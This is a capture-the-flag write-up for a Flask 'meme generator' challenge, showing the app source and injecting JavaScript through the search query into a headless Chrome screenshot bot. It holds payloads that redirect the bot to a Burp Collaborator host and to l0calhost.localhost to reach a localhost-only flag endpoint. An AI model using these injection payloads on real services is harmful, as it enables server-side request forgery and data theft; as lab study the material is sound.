Meme generator

The solution is unintended.






Creating memes manually can sometimes become repetitive and boring, so I made this app to make your life easier. Although there's just one template available yet, it is fully customizable! You can do absolutely anything with it, even getting flags! (That's what a friend of mine said, not that I understand what a flag is)

Quick Analysis

View the application source code via /source endpoint
import utils
from flask import Flask, render_template, request
import os
import html
app = Flask(__name__)
def index():
return render_template("index.html")
@app.route("/api/generate", methods = ["POST"])
def generate():
search_engine = request.form.get("search_engine")
query = request.form.get("query")
if not (search_engine and query):
return "", 400
utils.take_screenshot(search_engine, query)
return "", 200
def source():
with open(__file__, "r") as f:
return f"<pre><code>{html.escape(f.read())}</code></pre>", 200
def flag():
# TODO: Fix typo
if request.remote_addr == "" and request.url.startswith("http://l0calhost"):
return os.getenv("FLAG"), 200
return "Nice try", 200
app.run("", 8080)

The home page endpoint /

  • the index function renders index.html
  • The home page index.html asks for a search_engine input and a query input to generate a meme.

The generator endpoint /api/generate

  • The search_engine parameter and the query parameter must be defined.
  • The search_engine value and the query value passed to the take_screenshot function.
  • The make_meme function is called after taking the screenshot.

The flag endpoint /flag

The flag can be obtained only if
  • The address of the client sending the request is
  • The URL scheme must start with http://l0calhost.
  • The todo comment # TODO: Fix typo is about request.url.startswith("http://l0calhost").
Note: The application is running on port 8080

Generate a meme via the home page

Analyzing the query input

  • Choose google as a value for the search engine.
  • Enter diefunction as a value for the query. The application returns an image containing the google search page with diefunction as a keyword for the search.

Execute javascript code on the client's browser

  • Choose google as a value for the search engine.
  • Enter [email protected]#$%^&*()-_=+[]{]\|;:'",.<>/? separately as a value for the query. I noticed that if the query value contains " the generator returns an empty page in the image.
Proof of concept
I assumed the challenge uses a browser driver to take a screenshot, and the injection code should be Javascript.
  • Choose google as a value for the search engine.
  • Enter "+String.fromCharCode(65);escape=" javascript code as a value for the query. The meme generator returns the google search page with A character as a keyword for the search meaning the browser executed the Javascript code.
The client browser
  • Choose google as a value for the search engine.
  • Enter ";top.location="http://<burpcollaborator> Javascript code as a value for the query. From the Burpsuite collaborator output, the User-Agent appears to be Headless Chrome.


  • Since the browser is chrome, the translation of *.localhost is always translated to, without /etc/host or DNS workarounds. [1]
  • Choose google as a value for the search engine.
  • Enter ";top.location="http://l0calhost.localhost Javascript code as a value for the query.

The flag

After generating a meme with the crafted javascript payload in the exploitation section, the make_meme function returns an image with the challenge flag.


  • https://datatracker.ietf.org/doc/html/draft-west-let-localhost-be-localhost-06
  • https://ma.ttias.be/chrome-force-dev-domains-https-via-preloaded-hsts/
  • https://webmasters.stackexchange.com/questions/88636/why-does-chrome-resolve-websitename-localhost-as-localhost
Last modified 2mo ago